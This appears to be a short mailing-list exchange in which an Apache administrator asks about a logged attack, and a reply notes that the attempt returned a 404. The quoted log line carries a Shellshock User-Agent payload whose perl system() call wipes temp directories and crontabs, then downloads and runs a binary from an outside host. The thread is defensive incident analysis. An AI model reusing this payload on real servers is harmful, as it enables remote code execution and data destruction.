It is an attempt to exploit a specific configuration. By the fact that apache returned a 404 (the log line says so), you can see that attempt was not successful.
- Y
Sent from a gizmo with a very small keyboard and hyperactive autocorrect.
Hello
A hacker attacked a apache2 web server by HTTP injection.
The log show what he has done:
62.1.212.154 - - [01/Jul/2015:17:02:06 +0300] "GET /phppath/cgi_wrapper HTTP/1.1" 404 280 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"cd /var/tmp/ ;cd /tmp/ ; rm -rf /tmp/* ; rm -rf /var/tmp/* ; rm -rf /tmp/.* ; rm -rf /var/tmp/.* ; crontab -r ; killall -9 wget fetch curl lwp-download b f r xx y i.gif print start pscan pnscan ps ; wget http://80.68.94.216/sc.gif ; curl -O http://80.68.94.216/sc.gif ; chmod +x sc.gif ; nohup ./sc.gif & \");'"
How can I prevent this in the future and how can I reproduce?
I tried to reproduce but is not clear how he launched this command and I want to know so I can test my vulnerabilities in the future.
The path "/phppath/cgi_wrapper" doesn't exist at all.
Thank you
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